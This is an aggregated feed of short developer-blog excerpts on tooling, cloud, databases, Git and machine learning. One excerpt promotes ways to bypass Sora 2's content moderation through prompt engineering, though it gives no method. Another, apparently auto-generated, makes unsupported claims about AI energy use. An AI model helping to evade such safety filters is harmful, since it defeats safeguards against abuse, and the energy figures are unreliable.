    Evolving Minds: Building Adaptable AI Through Strategic Response Learning Imagine a world where autonomous robots can effortlessly navigate ever-changing environments or where smart city systems seamlessly adapt to unexpected events. Current AI often struggles with unpredictable scenarios, especially when interacting with other intelligent agents. The problem is that AI agents are often trained in specific environments and fail to generalize to situations and opponents they haven't previously encountered. At the heart of solving this lies the concept of building behavioral hierarchies within AI agents. Instead of training an agent to directly map actions to sensor inputs, we create a layered system. At the top layer, the agent strategically chooses a high-level response based on its perc…  ( 7 min )
    DotCommand 1.3.0 is out. I completely rebuilt the extension.
    Here is the post, rewritten in plain text without any asterisks (*) or hash symbols (#). Title: DotCommand 1.3.0 is out. I completely rebuilt the extension. Body: Hey everyone, I just pushed a huge update for DotCommand, my command manager for VS Code. This was a massive refactor. I finished 33 tasks and reorganized the entire codebase into a much cleaner, feature-based structure. The main goal was to make commands accessible from anywhere. I'm calling it "5 Levels of Access". You can now run commands from a new Quick Picker (Ctrl+Shift+R), buttons I added to the Status Bar, new right-click context menus, and a bunch of new keyboard shortcuts. I also added a global command history, a 90-day trash system for deleted commands, and a new way to create command templates with variables. P.S. I also fixed the command cleaning, so it should now work correctly with all command prefixes. It feels like a brand new extension. I'm pretty proud of this one and would love for you to try it and give me some honest feedback. You can grab it here: https://marketplace.visualstudio.com/items?itemName=FreeRave.dotcommand https://github.com/kareem2099/dotcommand Thanks.  ( 6 min )
    Myth: Training AI models requires enormous energy consumptio
    Myth: Training AI models requires enormous energy consumption that's solely to blame for the carbon footprint of large-scale AI deployments. Reality: While it's true that the training process of some large language models and deep neural networks can be energy-intensive, the real carbon footprint contributor lies in the inference phase, which accounts for approximately 95% of an AI model's total environmental impact. Most people are unaware that the majority of an AI system's energy usage occurs when it's in production, processing millions of requests per second. For instance, a single recommendation algorithm used by a popular streaming service can generate as much carbon emissions as a small country. Therefore, optimizing the inference phase and focusing on energy-efficient hardware and deployment strategies are crucial to mitigating the environmental impact of large-scale AI deployments. Publicado automáticamente con IA/ML.  ( 6 min )
    Why I Built My Own Windows Installer in C#
    Ive been working on C# projects lately, and I kept running into the same problem: making a simple installer was way too complicated. NSIS, Inno Setup, WiX etc.. were way to complicated. So I decided to build my own: Flex Installer. What it does: Downloads your app from Dropbox (GitHub support coming soon) Installs it on Windows Adds an uninstaller entry in Windows Settings Fully customizable via a config file Its simple: customize the config file to your liking and add your dropbox link and done! Its open source on GitHub: https://github.com/iamsopotatoe-coder/Flex-Installer Still in early development but it works. Id love to hear feedback, suggestions, or ideas for features from anyone!  ( 6 min )
    Terraform, but Safer — How I Built tf-safe to Protect State Files Automatically
    Terraform gives us infrastructure as code — but managing its state securely is a hidden risk. Secrets in plaintext Cloud resource details Sensitive metadata If that file’s lost or leaked, your infra is exposed. So I built tf-safe ⚙️ The Problem I once ran terraform apply on a shared workspace and accidentally overwrote the remote state. Terraform has backends, but no built-in safety net. 💡 The Solution: tf-safe tf-safe acts as a wrapper around Terraform: Hooks into each command (plan, apply, destroy) Backs up your state file Encrypts it (AES-256 or AWS KMS) Uploads it to local or S3 backend Retains old versions for recovery 🔧 Setup brew tap BIRhrt/tap tf-safe init 📁 Example .tf-safe.yaml backend: s3 🧠 How It Works Under the Hood tf-safe wraps Terraform CLI commands. .tfstate → backup location. 🧩 Roadmap Azure Blob & GCS backend Terraform Cloud integration GitHub Actions plugin Custom retention policies 🔗 Links GitHub → https://github.com/BIRhrt/tf-safe If you use Terraform daily, give it a try and drop your feedback 🙏  ( 6 min )
    blob14
    CREATE OR REPLACE FUNCTION blob_to_text(p_blob BLOB) RETURN VARCHAR2 IS l_blob_len := DBMS_LOB.GETLENGTH(p_blob); WHILE l_pos 32767 THEN l_result := SUBSTR(l_result || l_text_chunk, 1, 32767); l_result := SUBSTR(l_result, 1, 32600) || '... [TRUNCATED]'; EXIT; ELSE l_result := l_result || l_text_chunk; END IF; l_pos := l_pos + l_chunk_size; END LOOP; RETURN l_result; EXCEPTION WHEN OTHERS THEN RETURN 'ERROR: ' || SUBSTR(SQLERRM, 1, 100); END blob_to_text; /  ( 6 min )
    Integrate SDKs for Profitable AI Conversations with Monetzly
    Traditional Ads Don't Work in AI Conversations. Here's What Does. The AI app ecosystem is booming, but many developers are still grappling with a common challenge: monetization. As AI applications proliferate, the lack of clear monetization strategies often disrupts user experience, leaving developers searching for sustainable revenue models. Enter Monetzly—the first platform that allows developers not only to monetize their applications but also to earn revenue from hosting relevant ads. Why does this matter? Traditional advertising methods simply don't resonate with users engaged in AI conversations. Users expect seamless interactions and valuable content, not intrusive ads that break their flow. Monetzly flips this script by introducing conversation-native advertising—an innovative a…  ( 7 min )
    AI in Content Marketing: 2025's Biggest Shift
    AI in Content Marketing: 2025's Biggest Shift The content marketing landscape just hit an inflection point. AI tools have moved beyond novelty into genuine strategic advantage, but not in the way most marketers think. While everyone's using ChatGPT to draft blog posts, a smaller group of marketers has discovered something more valuable: AI as a research engine, personalization layer, and creative collaborator rather than a replacement writer. The gap between these two approaches is creating winners and losers at an unprecedented pace. This article breaks down what's actually working in AI-powered content marketing right now, including strategies you won't find in the standard playbooks. You'll see specific implementations, real numbers where available, and the counterarguments you need t…  ( 14 min )
    I Was Done Getting Answers — So I Built RAG That Asks Questions Too
    “What if a RAG system could not only fetch information but also reason about it, critique itself, and write a report, all autonomously?” Data-Inspector, a proof-of-concept Agentic RAG pipeline built with Ollama, LangChain, Tavily, and Streamlit. Agentic RAG Traditional RAG systems are brilliant at retrieval and response, but not at reasoning or reflection. They typically: Retrieve documents relevant to a query. Feed them to a large language model (LLM). Generate an answer that sounds confident, even when it’s wrong. The model reads, but it doesn’t think. So I began wondering: what if we could assign roles inside the RAG flow? That’s how Data-Inspector was born, a system that doesn’t just “search and answer,” but “reads, reasons, and reviews.” Is Agentic RAG? Before diving into code, le…  ( 10 min )
    CNNs: from a beginner's point of view
    I've learnt this topic about 20 times now, some are a bit confusing, and of course, I know some core things. In this article, I am going to break down CNN to make it easy to understand the basics and maybe the advanced CNN. Okay, from your perspective, how do you recognize your friend's face in a crowded room? Like, genuinely, what's happening in your brain? You're not calculating pixel values or comparing feature vectors. You just see them and instantly think, "Oh, that's Sarah." Your brain is doing something incredibly sophisticated without you realizing it. And that's exactly what CNNs (Convolutional Neural Networks) are trying to do. They're trying to teach computers to see and understand images the way your brain does. What's the Problem We're Trying to Solve with CNNs? Before CNNs, p…  ( 11 min )
    Introducing eventsourcing.dev: A Clear Guide to Event Sourcing
    Event Sourcing has been around for decades, yet many developers still find it intimidating. Buried under domain-driven jargon, inconsistent examples, or complex frameworks. That's exactly why I built eventsourcing.dev. A concise, no-nonsense guide to understanding and implementing event sourcing from first principles. Most tutorials mix theory and tooling in confusing ways. On eventsourcing.dev, the goal is different: to make the concept of event sourcing approachable, explain its core ideas clearly, and show how to use them in any tech stack, without prescribing a framework or product. Fundamental Concepts: Events, Streams, Aggregates, Snapshots, ... explained in plain language. Design Principles: How to structure event-driven systems that scale and stay maintainable. Learning Path & Glossary: For those who want to go from curiosity to real-world implementation. Resources Section: A curated overview of major event sourcing databases and libraries such as Axon, Kurrent, ... The site isn't about promoting any specific tool. It's about understanding event sourcing deeply, so you can decide what fits best for your architecture and team. Anyone can contribute to make the list of libraries and software resources more complete and no one's excluded, and every genuinely helpful project deserves a place. The goal is to build a source of knowledge that stays neutral, practical, and open. Event Sourcing isn't just a persistence strategy. It's a mindset: designing systems that remember what happened instead of just where they are now. Once you see data as a timeline instead of a snapshot, consistency, auditability, and traceability stop being problems, they become features. Check it out: https://www.eventsourcing.dev If you think something's bullshit, missing, or if you have your own resource to add, just send us an email to hello@eventsourcing.dev.  ( 7 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    CinemaSins tears into Marvel’s Thunderbolts in under 20 minutes, racking up hilarious “sins” for every plot hole, awkward line and questionable decision — all while grudgingly admitting the flick has its moments. Between the snarky commentary you’ll get plugs for TVSins, CommercialSins and their podcast network, plus a sinful poll, Patreon shoutout and invites to their Discord, Reddit and all the socials so you can keep the banter going. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Predators - Caravan of Garbage
    Predators (2010) ditches the overblown Alien vs. Predator crossovers and plunges us back into a dirty, jungle-bound showdown with a ragtag squad of lunatics—all while sneaking in fresh twists that actually elevate the series. Despite recapturing the raw, primal thrill of the original, Mr Sunday Movies and many fans still mourn the lack of a true sequel that could’ve built on everything this underrated gem got so right. Watch on YouTube  ( 6 min )
    Git Deep Dive: Mastering rerere
    No, It's Not a Typo: Let's Talk About git rerere (Reuse Recorded Resolution) git rerere helps Git remember how you resolved a conflict previously, and automatically reuses that resolution when the same conflict occurs again. This can be a huge time-saver with recurring merge conflicts. Globally: git config --global rerere.enabled true Per project: git config rerere.enabled true Check status: git config --get rerere.enabled I'm updating hello.txt on main and feature/earth branch. Hello! On main branch: Hello World! On feature/earth branch: Hello Earth! Now, if we try to merge feature/earth into main, we’ll get a conflict: git checkout main git merge feature/earth Conflict: >>>>>> feature/earth We edit the file to: Hello Universe! Then…  ( 7 min )
    Automate Your Astro Blog with GitHub Actions
    While Cloudflare's default Git integration is brilliantly simple, as we covered in our first guide, sometimes you need more power. When you want to add unit tests, linting, or other custom checks to your build process, you need to own the pipeline. This guide shows you how. We'll build a robust, fully-customizable CI/CD workflow using only GitHub Actions to bootstrap and deploy an Astro blog, giving you complete command over your entire process. Before we dive in, this guide assumes you have a foundational setup. You'll need: A New, Empty GitHub Repository: Create a new repository on GitHub. This will be the home for your workflows and your blog's code. Cloudflare Account: You’ll need a free Cloudflare account. Initial Workflow Files: You must create the .github/workflows/bootstrap.yml …  ( 9 min )
    Beyond Mapping Adversarial Subspaces: Why AI Security Needs Architectural Defenses
    Disesdi Susanna Cox and Niklas Bunzel's recent paper, "Quantifying the Risk of Transferred Black Box Attacks," marks an important milestone in adversarial risk research. By foregrounding the challenge of transferability and proposing surrogate-model testing guided by Centered Kernel Alignment (CKA), the authors provide organizations with a pragmatic framework for quantifying risk in compliance-driven environments. Yet the very insight their work surfaces—that adversarial subspaces are high-dimensional, transferable, and computationally intractable to map exhaustively—points to a deeper structural issue. Current neural architectures lack any cryptographic or state-integrity boundary to constrain how those subspaces evolve. Because transformers expose their reasoning surface through embeddin…  ( 13 min )
    Vibium Test Automation: Redefining Browser Testing Beyond Selenium
    In fast-paced software development, testing is often a bottleneck. Although automated tests promise speed and consistency, in practice, they frequently fail, require continuous maintenance, and offer diminishing returns. Now comes Vibium, with a bold vision that aims to shift automation from brittle code to an intelligent, resilient system. In this article, we will discuss Vibium in detail and see how it compares to existing tools and frameworks. Whether you’re a QA engineer, automation architect, or dev-lead, this deep dive should help you assess whether Vibium could be the next tool in your automation toolbox. TL;DR Vibium Test Automation is built by Jason Huggins, the co-creator of Selenium and Appium. It enables writing tests in plain English, lowering the barrier for non-programmers. …  ( 13 min )
    The Identity Shift: Why IAM is Becoming the Heart of Enterprise Security
    Over the past few years, Identity and Access Management (IAM) has quietly evolved from a backend IT function to the centerpiece of enterprise security. Cloud and SaaS adoption Decentralized workforces AI-driven automation Zero Trust architectures The identity perimeter has expanded in every direction. Identity Providers (IdPs) like Okta, Azure AD, or Ping Privileged Access Management (PAM) for high-risk accounts Identity Governance and Administration (IGA) for compliance Access Management (AM) for authentication and SSO Entitlement Management for fine-grained control Shadow IT and App Discovery tools for visibility AI/ML-based analytics for continuous access evaluation Each layer contributes to what's becoming the Identity Control Plane a real-time map of who can do what, and why. The Rise…  ( 7 min )
    Redux Toolkit vs React Query: Do You Really Need Both? 🤔
    For years, Redux was the go-to for state management in React apps. Then came React Query (now TanStack Query) — and it changed how we handle server state forever. But here's the confusion many developers face: “If I’m using React Query, do I still need Redux?” “Can Redux Toolkit replace React Query?” Let’s clear the fog. 🌫️ Before comparing them, it’s crucial to understand what each tool actually manages. Type of State Description Example Client State Data that exists only in the UI or app memory. Modal open/close, filters, active tab Server State Data fetched from APIs or databases, often cached. Users list, product data, comments 🧩 Redux Toolkit (RTK) → best for client state 🌐 React Query → best for server state 🧩 Redux Toolkit Overview Redux Toolkit (…  ( 8 min )
    Async/Await is finally back in Zig
    I’ve been following the Zig programming language with keen interest over the past several months. I've been eagerly awaiting the new async/await API's release ever since I watched this video. The foundation for this long-awaited feature arrived via pull request #25592, which was merged just one day before I began writing this. I was so excited to try it out that I compiled Zig from the master branch on my local machine—the easier way to access it right now. Why This Matters Zig removed async/await support from earlier versions while the team completely redesigned the API from the ground up. The goal is to create something entirely new that differs from what other languages like Go, JavaScript, and Rust do. The new async I/O framework is set for release in version 0.16.0. To use it, y…  ( 10 min )
    Beyond Sprints: A Scalable Milestone-Based Planning Model for Midsize Companies
    Imagine a scenario. A software startup company, featuring 3 development teams and utilizing a Scrum framework, starts working on something promising and significant: AI integration to their existing product solution. They decide that the next quarter will focus on developing an AI that aims to deliver the minimum necessary toolset for their clients. They define a backlog and stuff it with features and priorities. Teams Eagle, Tiger, and Lion pull features from the backlog for their sprints. This is where problems start. Team Eagle discovers that the feature they pulled depends on the feature that Team Tiger has pulled. They decide to wait until Team Tiger has completed development. Simultaneously, Team Lion’s work is shuddered to a halt when they realize they don’t have enough members wit…  ( 9 min )
    SuperClaude: Tu Agente de IA ya no es Junior, Ahora es Arquitecto y se Sube al Stack.
    El hype de la IA generativa para código ha pasado a la fase de Productividad Profesional. SuperClaude es la prueba: no es solo un chatbot que te escupe funciones, sino un meta-programming framework que transforma a herramientas como Claude Code en un socio de desarrollo especializado y consciente del contexto. Esto significa que, por fin, la IA está aprendiendo a pensar como un ingeniero senior. Commits Clave 1. 🤖 Modo Experto a Demanda: Personas Cognitivas SuperClaude introduce Personas Cognitivas como el "System Architect" y el "Security Engineer". Esto es crucial porque el framework se enfoca en corregir la tendencia de la IA a saltarse pasos críticos de planning, arquitectura y testing. Ya no es solo "hazme un componente", sino "diseña la API con enfoque DDD". Utiliza más…  ( 7 min )
    blob10
    CREATE OR REPLACE FUNCTION blob_to_text_large(p_blob BLOB) RETURN VARCHAR2 IS l_blob_length := DBMS_LOB.GETLENGTH(p_blob); IF l_blob_length IS NULL OR l_blob_length = 0 THEN -- Handle large BLOBs by truncating to safe size BEGIN l_text := UTL_RAW.CAST_TO_VARCHAR2(UTL_RAW.CONVERT(l_raw, 'AL32UTF8', 'AL32UTF8')); l_text := SUBSTR(l_text, 1, 32000) || '... [TRUNCATED: ' || l_blob_length || ' bytes]'; EXCEPTION WHEN OTHERS THEN l_text := '[BINARY_DATA_TRUNCATED: ' || l_blob_length || ' bytes]'; END; ELSE BEGIN l_text := UTL_RAW.CAST_TO_VARCHAR2(UTL_RAW.CONVERT(l_raw, 'AL32UTF8', 'AL32UTF8')); EXCEPTION WHEN OTHERS THEN l_text := '[BINARY_DATA: ' || l_blob_length || ' bytes]'; END; END IF; RETURN l_text; EXCEPTION WHEN OTHERS THEN RETURN 'ERROR: ' || SUBSTR(SQLERRM, 1, 100); END blob_to_text; /  ( 6 min )
    Linux Security Auditing: 5 Hands-On Labs for Rsync Anonymous Sync, SMB Guest Access, and SSH Key Enumeration
    Ready to move beyond basic commands and truly understand how Linux systems are secured—or, more importantly, how they fail? The LabEx Linux learning path is designed specifically for beginners who want practical, hands-on experience. Forget passive video tutorials. We put you directly into an interactive shell playground where you learn by doing. This path gives you a clear roadmap for mastering Linux administration, system management, and shell scripting. But today, we’re focusing on a critical skill: security auditing. We’ve hand-picked five beginner labs that teach you how to identify and exploit common service misconfigurations. Let’s dive in and see what you’ll build! Difficulty: Beginner | Time: 20 minutes In this challenge, you'll act as a security analyst to investigate a misconfi…  ( 10 min )
    How Git History Reveals Your Riskiest Code
    I. Introduction: The Critical Gap in Resilience For years, I've managed projects where everyone knew which files were the maintenance nightmares—the ones where a small change led to a two-day debugging session. As engineers, we invest heavily in Code Correctness — we run linters, use SCA tools, and write comprehensive unit tests. However, these traditional QA methods often fail against System Resilience. Outages are rarely caused by simple syntax errors; they stem from concurrency issues, unexpected external inputs, or dependency failures — all traced back to code that is too complex, too fragile, or owned by too few people. Hotspot was born out of the desire to fix that: to provide a transparent, auditable, and quantifiable tool for engineering teams to diagnose the technical debt and …  ( 9 min )
    Can Sora 2 generate NSFW content? How can we try it?
    In the rapidly evolving landscape of artificial intelligence, OpenAI’s release of Sora 2 on September 30, 2025, marked a significant milestone in video generation technology. This advanced model, building on its predecessor, offers unprecedented realism, physical accuracy, and controllability, allowing users to create high-quality videos from text prompts, reference images, or videos. However, alongside these capabilities comes a robust content moderation system designed to mitigate risks such as misinformation, deepfakes, and harmful content. This article delves into Sora 2’s moderation framework, explores the rationale behind its strict rules, and discusses strategies for navigating or bypassing these restrictions through prompt engineering. The safest approach is to fully utilize the pr…  ( 11 min )
    Deploy an Astro Blog with Cloudflare Pages and Porkbun
    Tired of slow, clunky blog setups that cost more than your morning coffee? The modern web offers a powerhouse trio for building and deploying content-focused websites that are ridiculously fast, globally distributed, and wonderfully free. This is the JAMstack dream, realized. In this guide, we'll walk through the entire process of creating a high-performance blog using Astro, managing the code in a private GitHub repository, pointing a custom domain from the affordable Porkbun, and deploying it all seamlessly with Cloudflare Pages. To top it off, we'll explore two powerful methods for ensuring your site's integrity before it goes live: a custom GitHub Action and Cloudflare's own Preview Deployments. By the end, you'll have a fully automated, production-grade publishing workflow that turns …  ( 12 min )
    In 2025, AI regulations were established in four major global regions.
    Greetings from the island nation of Japan. We often observe the complex, multi-layered strategies of the major global powers (Japan, China, the EU, and the US) with a kind of detached, yet deeply involved, professional interest. The concept of Sovereign Cloud and AI Governance is essentially the high-stakes game of ensuring that while we all use the same global infrastructure—the "Cloud"—the rules governing our most precious data are rooted firmly in local soil. This summary is a result of my own research and reflection, prompted by encountering the term "sovereign cloud" in an article about AI in China. The year 2025 marks a point where AI-related legislation is set to be in place across four major blocs (Japan, China, the EU, and the United States), and each country's digital sovereignt…  ( 12 min )
    Building Your Own Cloud: Create a Virtual Private Cloud with Linux
    description: "Learn cloud networking fundamentals by building a complete VPC system from scratch using Linux namespaces, bridges, and iptables." https://images.unsplash.com/photo-1504384308090-c894fdcc538d?auto=format&fit=crop&w=1280&q=80" Learn cloud networking fundamentals by building a complete VPC system from scratch. Have you ever wondered how cloud providers like AWS create isolated virtual networks? In this hands-on tutorial, we'll build our own Virtual Private Cloud (VPC) using nothing but Linux networking tools. By the end, you'll understand the magic behind cloud networking and have a fully functional VPC system! We're creating VPCCTL — a command-line tool that lets you create isolated virtual networks with: 🌐 Multiple VPCs — Completely separate network environments 🔓 Publi…  ( 9 min )
    Managing GitHub Copilot & VS Code Settings Across Teams
    Managing GitHub Copilot & VS Code Settings Across Teams Ensuring consistent development environments across your team is crucial for productivity and code quality. This guide explores five practical approaches to manage VS Code and GitHub Copilot settings: workspace configurations, VS Code profiles, bootstrap scripts, enterprise policies, and a combined strategy that leverages the strengths of each method. .vscode/settings.json) The simplest and most widely adopted approach is to commit VS Code configuration files directly to your repository. These workspace settings override user preferences when the project folder is open. Create a .vscode/ directory in your repository root with these configuration files: .vscode/settings.json - Project-specific settings: { "editor.formatOnSave": t…  ( 9 min )
    How Buffer Pooling Doubled My HTTP Server's Throughput (4,000 7,721 RPS)
    Last week, I shared my journey building an HTTP server from scratch in Go using raw TCP sockets. The performance was decent—around 4,000 requests per second at peak—but I knew there was room for improvement. Then I learned about buffer pooling, and everything changed. My original server had a hidden performance killer. For every single HTTP request, the server was doing this: func handleConnection(conn net.Conn) { buffer := make([]byte, 8192) // New allocation conn.Read(buffer) // ... process request ... // Buffer gets garbage collected } Seems innocent, right? But when you're handling thousands of requests per second, this becomes: Constant memory allocation - Creating new 8KB buffers constantly Garbage collector pressure - GC running frequently to clean up discarded buf…  ( 9 min )
    🚀 Part 4: From Local to Production — Deploy React + NGINX Like a Pro
    “You’ve optimized your NGINX setup — now let’s deploy it to production, the same way real companies do.” Quick Recap In the previous parts, we: Learned what NGINX is (Part 1) Served React + API locally (Part 2) Optimized with caching, gzip, and load balancing (Part 3) Now it’s time to go end-to-end — from your local machine to a production deployment. 1. Real-World Architecture Overview Here’s what a modern production setup looks like 👇 Browser │ ▼ +---------------------+ | CloudFront / | | CDN Layer | +---------------------+ │ ▼ +---------------------+ | NGINX | | - Serves React app | | - Proxies /api | | - Handles SSL | | - Caches assets | +---------------------+ │ …  ( 9 min )
    Stop Misusing : When to Use and for Better Performance and Accessibility
    Images aren’t just visual decorations — they’re essential for communication, usability, and engagement on the web. But using the right HTML tag makes a huge difference in accessibility, SEO, and performance. Developers often use for everything, but HTML actually gives us a trio of elements — , , and — each serving a unique purpose. Let’s explore what each does, when to use them, and how they work together in real-world scenarios. — The Core Image Tag What It Does The element is the simplest and most direct way to display an image on a webpage. It’s used when the image is purely visual content and doesn’t need extra context, captions, or dynamic behavior. You’re showing a standa…  ( 9 min )
    Veri-Helix: making bioinformatics reproducible, one figure at a time
    The biology of the future will be built on proof. Veri-Helix is an open-source Python toolkit that turns reproducibility into a first-class feature. ✳️ Why it matters Most bioinformatics projects are a maze of scripts and notebooks. Veri-Helix keeps you honest by stamping every artifact — from a FASTA triage plot to a motif logo — with: ✅ Schema validation (Pydantic-based) for every JSON artifact 🔖 Versioned spec manifests (spec_version = 1.0) so outputs stay compatible 🧾 Provenance metadata (tool version, timestamp, and input SHA-256) baked into each .viz.json and figure footer If you can see it, you can verify it. 🧬 What’s inside Unified CLI: one command (helix) for analysis, plotting, and schema inspection Schema-verified visualization: RNA dot-plots, motif logos, distance heatmaps, alignment ribbons, and more Validated workflows: YAML pipelines that log schema kind, version, and hash for every step Reproducible demos: all screenshots on docs.verihelix.org come straight from helix demo viz ⚙️ Try it in a minute Each command leaves a .viz.json next to your figure: { "kind": "motif_logo", That JSON is your proof — a portable, machine-readable trail of how your science was made. 💡 Get started Docs: https://omniscoder.github.io/Helix PyPI: pypi.org/project/veri-helix GitHub: github.com/omniscoder/Helix 🧠 For educators & researchers Veri-Helix notebooks drop cleanly into Jupyter and Binder, letting students explore validated results without hidden state. 🚀 Join us Help shape the future of reproducible biology — contribute examples, workflows, or new schema definitions: git clone https://github.com/omniscoder/Helix  ( 7 min )
    Bug fix release 2.08 for the Perl Distribution Workflow
    We got an issue reported by long term Perl user and PAUSE gatekeeper @ANDK, an issue had been observed and was reported via the smoke testing framework available as CPAN-testers. ANDK had debugged the issue, which is much appreciated, I was unable to reproduce it locally, but @ehuelsmann was fast to provide a patch that we believe fixes the issue. GitHub perl-workflow release 2.08 This kind of bugs are tricky, especially if you cannot reproduce them, but the area of the code pointed out by ANDK made sense, and Erik's patch also made sense - it is a fragile area of the code and it might be related to tests, but we want our tests and main code to be as robust as possible, so we can trust it. I am not sure this is a real heisenbug, but it does feel like it. Change log from the lastest release: Issue: #271 reported by @andk. Fixed via PR: #272 by @ehuelsmann This issue was discovered by the CPAN smoke testers, the report can be found on CPAN Testers  ( 6 min )
    OOP Under the Hood: Prototypes, new, and More
    Object-Oriented Programming (OOP) in JavaScript works differently from traditional class-based languages like Java or C++. Under the hood, everything is powered by prototypes, objects that other objects can inherit properties and methods from. This guide explores how JavaScript implements OOP features such as new, prototypes, and inheritance. new Keyword When you use the new keyword in JavaScript, several things happen behind the scenes. Using new with a constructor function is what allows you to create instances that share behavior through a prototype. Here’s what the new keyword does step by step: Creates an empty object A new, plain object is created: {} Sets this to that object Inside the constructor function, this now refers to the newly created object. Links the object to …  ( 8 min )
    Stop Blaming Doctrine - Start Understanding It
    Every few months, someone on the team sighs during a retrospective and says the words that make me reach for coffee: "Doctrine is slow." No, it's not. Doctrine is an ORM. It does exactly what you tell it to do. The problem is - most developers don't realise how much they're telling it to do. This post isn't a tutorial. It's a field report from someone who's watched Doctrine crawl through millions of rows... and then, after a few lines of code change, fly through them using less memory than Chrome with two tabs open. A CLI command meant to clean up stale product records. $products = $this->repository->createQueryBuilder('p') ->getQuery() ->toIterable(); foreach ($products as $product) { $product->deactivate(); $this->em->flush(); $this->em->clear(); } Initial memory us…  ( 11 min )
    Getting Started with AWS Cloudfront: A Friendly Guide to Boosting Your Website Speed
    Ever wish your website or app loaded faster for people everywhere? AWS CloudFront can help with that. CloudFront delivers your content quickly by storing copies closer to your visitors, so videos, images, and all those files show up faster. Your users get a better experience, and they don’t have to stare at loading screens. That’s always a win. Getting started with CloudFront isn’t as complicated as it sounds. All you need is an AWS account, and then you set up a distribution—think of it as the shortcut your content takes to reach people faster. It works for websites, videos, and just about any files you want to share. CloudFront keeps things efficient and smooth for your users, no matter where they are. Let’s walk through the basics of setting up your first CloudFront distribution. We’ll …  ( 9 min )
    Built an AI Shareable Task and Event Manager | OSS | Self-Host it
    Heyooo Pretty excited to share my open-source project: ⚡ DerPlanner - The Shareable Task Event Planner. Live Demo : derplanner.space At its core, it’s a full-stack app where you manage tasks and events just by having a conversation. Instead of clicking around, you just type: "Create a task to finish the report by Friday, make it high priority." "Schedule a meeting with the team tomorrow at 2 PM about the launch." "Research the latest trends in generative AI for 2025." The AI agent figures it out, creates the task or event, and even uses deep research models (like OpenAI's o3/o4) to give you citation-backed answers. real magic: Automation 🤖 The biggest problem with most planners is that your data is "stuck." When I complete a task, I almost always have to do something else. Check off "Follow up with lead X" → Now I have to go to my CRM and update it. An event "Product Launch" starts → Now I have to go send the marketing email. I built DerPlanner with Webhooks for exactly this. When a task is completed or an event starts, it can fire off an HTTP request to any service you want. This is where it gets fun for devs. You can hook it up to n8n, Zapier, or your own custom endpoint. For example, I built a workflow to automate my marketing. When a task is completed, it triggers an n8n workflow that can send an email, update a CRM, and send an SMS, all automatically.  ( 6 min )
    Mr Sunday Movies: A New High? - Predator: Badlands Review
    Predator: Badlands Review TL;DR Predator: Badlands flips the script by turning the Predator into the hero in this Alien crossover—and it’s paying off big time. As the second PG-13 entry since 2004’s AVP, it’s scored rave reviews from fans and critics and smashed franchise records with its opening weekend haul. This spoiler-packed take comes straight from The Weekly Planet podcast, dropping every Monday on YouTube, Spotify, Apple Podcasts and wherever else you tune in. Watch on YouTube  ( 6 min )
    Setting up AWS Budgets
    AWS Budget Creation Guide: Monthly Cost Monitoring Objective Create a monthly cost budget in AWS to monitor and control cloud spending. AWS Console access Appropriate IAM permissions for AWS Budgets Valid email address for notifications Log into the AWS Management Console Using the navigation bar, search for "Budgets" Select Budgets from the service results From the AWS Budgets dashboard Click the Create budget button Under "Choose budget type" section: Select Use a template (simplified) Choose Monthly cost budget template Parameter Value Description Budget Name My Monthly Cost Budget Descriptive identifier for your budget Budgeted Amount 100 Monthly spending limit in USD Email Recipients your@email.com Notification contact for budget alerts Verify all entered parameters Click Create Budget to deploy ✅ Monthly cost budget active and monitoring ✅ Email notifications configured for spending alerts ✅ Budget tracking against $100 monthly threshold Resources & Next Steps 📦 Full Code Repository: AWS Learning Labs - Get the complete, working code from this post 📖 More Deep Dives: Whispering Cloud Insights - Read other technical articles 💬 Join Discussion: DEV Community - Share your thoughts and questions 💼 Let's Connect: Linkedin - I'd love to connect with you  ( 6 min )
    DI containers are dead, long live context containers!
    This story is for you if: You're still sad React Context cannot be used in Server Components. You like the ideas of SOLID architecture and decoupling in your apps but have found current DI frameworks in TypeScript unsatisfying or too complex. You've ever wanted to see a naked, frameworkless DI container in its simplest form (NSFW warning :P). You love TypeScript and enjoy pushing its inference capabilities to their limits. This is the story of how, while refactoring my React app from Client to Server Components, I was forced to spend a year of my free time to: rediscover DI containers, obsolete traditional DI frameworks, discover Context Containers, and finally, build my own fully type-inferred context container framework, typectx. A tale of dumb, costly refactoring decisions t…  ( 13 min )
    What is dom?
    -The document object model is a way for JavaScript to access and control the html elements in a webpage. It can change the content style of the webpage while running program. Example: Show /Hide Password Document Show/hide password show const password=document.getElementById("password"); const buttons=document.getElementById("btn") buttons.addEventListener("click",function(){ if(password.type==="password"){ password.type="text" buttons.innerText="hide" } else{ password.type="password" buttons.innerText="show" } })  ( 6 min )
    From Monolith to Microservices: Why It’s Never Just a Technical Decision
    For years, “We’re moving from a monolith to microservices” has been a familiar battle cry in software engineering. It’s usually framed as a technical evolution - a natural response to scalability challenges, complex deployments, or growing codebases. But anyone who has actually lived through that transition knows the truth: it’s never just a technical decision. Moving from a monolith to microservices doesn’t just reshape your software. It reshapes your organization, your communication patterns, your governance, and your culture. What starts as an architectural redesign quickly becomes a transformation of how people think and work together. Let’s start with the surface-level motivations - the reasons most teams give when they plan a migration to microservices: Independent deployabil…  ( 8 min )
    Dig command to track the process of DNS resolution
    Scenario: User/server(client) machine trying to reach nike.com DNS client checks the cache on local machine for the IP of nike.com Client's machine cache doesn't have the required IP Client queries the DNS server which is provided/configured by the ISP Above new DNS server also known as recursive DNS server checks its own cache if it has the IP of nike.com Recursive DNS server doesn't have the IP and it begins the process to locate the IP of nike.com Get list of root servers Root server is configured on the system by default at location /usr/share/dns/root.hints for linux systems dig +short ns akshay-gore:~$ dig +short ns k.root-servers.net. c.root-servers.net. h.root-servers.net. i.root-servers.net. a.root-servers.net. m.root-servers.net. f.root-servers.net. d.root-servers.net. b…  ( 11 min )
    From Legacy Windows to AI Agent: The Journey of MintBridge to REMI (Final PoC)
    🚀 The Origin: MintBridge, A Migration Toolkit for Legacy Hardware Hello community! I'm jramonrivasg , an independent creator, and this is the story of how an old hardware problem evolved into the birth of my Patrimonial Intelligence Agent, REMI. Context: My trusty legacy machine with the Intel Core i5 650 couldn't meet the requirements of Windows 10 22H2. I decided to migrate to Linux Mint, but the process was daunting for other legacy users. Thus, MintBridge was born—a modular toolkit to simplify the migration. To validate my new working environment (sda7), I used MintBridge. The process was rigorously registered by my REMI agent, closing the cycle from a simple toolkit to an auditable use case. Technical Details of Migration Success (Patrimonial Register): Task: Consolidate the entire…  ( 7 min )
    The next machine learning startup is in your front yard
